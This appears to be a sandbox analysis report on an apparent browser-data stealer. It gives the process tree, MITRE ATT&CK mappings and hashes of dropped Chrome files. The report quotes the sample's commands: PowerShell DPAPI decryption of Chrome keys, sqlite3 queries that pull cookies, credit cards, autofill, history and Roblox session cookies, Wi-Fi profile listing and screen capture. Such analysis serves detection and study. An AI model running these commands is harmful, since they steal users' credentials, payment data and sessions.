    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4548 /prefetch:14
        5⤵
        
        PID:4412
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5036 /prefetch:14
        5⤵
        
        PID:2520
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9320 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5168 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5024
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9320 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5192 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5312
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9320 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5460
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:14
        5⤵
        
        PID:3024
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9320 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5096 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:296
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9320 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5720 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:1540
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9320 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5476 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:2528
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9320 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5388 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:4552
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5900 /prefetch:14
        5⤵
        
        PID:3328
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9320 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5268 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:2916
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5892 /prefetch:14
        5⤵
        
        PID:4568
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9320 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5036 /prefetch:9
        5⤵
        Uses browser remote debugging
        
        PID:3948
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9320 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5376 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5024
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:14
        5⤵
        
        PID:964
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6076 /prefetch:14
        5⤵
        
        PID:3068
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --user-data-dir="C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1844,i,2854139002115808711,12535092859906976910,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5444 /prefetch:14
        5⤵
        
        PID:1348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_fcc00599.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_5d191a37.bin', $dec); ""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1456
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_fcc00599.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_5d191a37.bin', $dec); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_d0b47d36.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_7edd9dd8.bin', $dec); ""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4612
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_d0b47d36.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_7edd9dd8.bin', $dec); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3640
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "sqlite3 "C:\Users\Admin\AppData\Local\Temp\ck_d1317cee.db" "SELECT host_key, name, hex(encrypted_value), path FROM cookies WHERE length(encrypted_value)>0 LIMIT 2000;""
  2⤵
  - Executes a command shell one-liner
  PID:5892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_a342a481.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_661c6be0.bin', $dec); ""
  2⤵
  - Executes a command shell one-liner
  PID:3008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_a342a481.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_661c6be0.bin', $dec); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "sqlite3 "C:\Users\Admin\AppData\Local\Temp\cc_9a3f238a.db" "SELECT name_on_card, hex(card_number_encrypted), expiration_month, expiration_year FROM credit_cards LIMIT 50;""
  2⤵
  - Executes a command shell one-liner
  PID:3240
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_a46d6a75.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_6ab178d7.bin', $dec); ""
  2⤵
  - Executes a command shell one-liner
  PID:3864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_a46d6a75.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_6ab178d7.bin', $dec); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:6052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "sqlite3 "C:\Users\Admin\AppData\Local\Temp\cc_be53258e.db" "SELECT name_on_card, hex(card_number_encrypted), expiration_month, expiration_year FROM credit_cards LIMIT 50;""
  2⤵
  - Executes a command shell one-liner
  PID:2616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "sqlite3 "C:\Users\Admin\AppData\Local\Temp\af_24ef7562.db" "SELECT name, value, count FROM autofill ORDER BY count DESC LIMIT 200;""
  2⤵
  - Executes a command shell one-liner
  PID:2468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "sqlite3 "C:\Users\Admin\AppData\Local\Temp\af_561df090.db" "SELECT name, value, count FROM autofill ORDER BY count DESC LIMIT 200;""
  2⤵
  - Executes a command shell one-liner
  PID:1228
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "sqlite3 "C:\Users\Admin\AppData\Local\Temp\hi_b4842018.db" "SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 500;""
  2⤵
  - Executes a command shell one-liner
  PID:4660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "sqlite3 "C:\Users\Admin\AppData\Local\Temp\hi_36c0e257.db" "SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 500;""
  2⤵
  - Executes a command shell one-liner
  PID:5732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_1f1cc963.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_e974ec21.bin', $dec); ""
  2⤵
  - Executes a command shell one-liner
  PID:4944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_1f1cc963.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_e974ec21.bin', $dec); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_59257b35.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_3e73cd1e.bin', $dec); ""
  2⤵
  - Executes a command shell one-liner
  PID:3264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "; Add-Type -AssemblyName System.Security; $enc = [IO.File]::ReadAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_59257b35.bin'); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, 'CurrentUser'); [IO.File]::WriteAllBytes('C:\\Users\\Admin\\AppData\\Local\\Temp\\k_3e73cd1e.bin', $dec); "
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4828
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "sqlite3 "C:\Users\Admin\AppData\Local\Temp\rb_c33f4fc3.db" "SELECT hex(encrypted_value) FROM cookies WHERE host_key LIKE '%roblox.com' AND name='.ROBLOSECURITY' LIMIT 5;""
  2⤵
  - Executes a command shell one-liner
  PID:4824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "netsh wlan show profiles"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:1696
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:936
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object System.Drawing.Bitmap($b.Width,$b.Height);$g=[System.Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[System.Drawing.Point]::Empty,$b.Size);$bmp.Save('C:\\Users\\Admin\\AppData\\Local\\Temp\\stg_b09cf6754a52\\profile\\screenshot.png');$g.Dispose();$bmp.Dispose()""
  2⤵
  - Executes a command shell one-liner
  PID:3768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing;$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;$bmp=New-Object System.Drawing.Bitmap($b.Width,$b.Height);$g=[System.Drawing.Graphics]::FromImage($bmp);$g.CopyFromScreen($b.Location,[System.Drawing.Point]::Empty,$b.Size);$bmp.Save('C:\\Users\\Admin\\AppData\\Local\\Temp\\stg_b09cf6754a52\\profile\\screenshot.png');$g.Dispose();$bmp.Dispose()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1164

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:2940

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Modify Authentication Process

T1556

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Modify Authentication Process

T1556

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Size 20KB
SHA256 bad512d867a2b20967f7edc95160f1c6c4ea7ab6b353193a716b66aa674576a2
MD5 94491538778bb335948e71f046c59680
SHA1 a378b7e96bb426949a1c94e9ed0c879a84b97942
SHA512 cb440e4c402788e832ac178183621832a12d0d1c26ae37971bd51ee5d39b722600fb4522275e7cdc862f80c2b1281ae46359491a7cbc052121a14cfd92b5edc1
SSDEEP 24:TL/91kweka6cLbXYFpFNYba5+6UwcQ8PAl5fBQNd5aFoq2mLmPoBH+Rpj:Tb9aw/aHLopFMavU1iBQNH9qlLd+RB
TLSH
T18892004F1F343614C4F48A73EAD145AB2E7D122D53237A89EE5424B39D825AFF5064A1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

e6de0edc-8a03-41ea-9a02-48d8501aeb32.tmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\e6de0edc-8a03-41ea-9a02-48d8501aeb32.tmp
Size 1KB
SHA256 ab9104fc2d4a4ff806377063409effb466b3b59892a45d38596e95c5984d7ccd
MD5 8e90dd808cf6ef4c76703ca995351e00
SHA1 3fc7100c7b19041310b182add3ffc3bbed585f66
SHA512 b36f9b35118176699ebc96bb8edd3b737327fb509a5979ebedabd046eb6e9bcb2b38eb397e547d2ddf104574da0f1f007da3566fd0d9b037aef313c6a8036695
TLSH
T11B318AF793B4957E8A1192E4EB116E1FCE690524031C3C6688D4AE1B83F2972D10078F
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 11KB
SHA256 746f6506063bd96c534753344510595753981ab978651dfe36f00f18a7473d82
MD5 98a694c84446725bb34d10fb11e9f2c8
SHA1 05c137007c6216f11b006851433dc7001bbbeed4
SHA512 42641af792db2144508b7ed2641678fdc3b8f4a94b5ff3b5f859084d3a2c60821ea91e85b9109f0f4ecb3fabc3985c1726adc926e9bcd63e402c225adb5313af
SSDEEP 192:bREMoz6v7xbvAPRp2T9GHsb+WNnUjPXeqe/0EzGNY+VyIsnAUge:bREM8WN6XMgwcPXk0EzsY2e
TLSH
T19B32B82EA910697B6CDBD219FE617B93E7F5102271902E84EBFC892C15D79CC222741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 25b8021a85f85ff9eabc8219f68c6409f4ad1e5396913bf4e72a56e097eb9639
MD5 f719f9ae5037660cad62d4716dbe3063
SHA1 84772a62116f1f07772154f59b4486ec856b5108
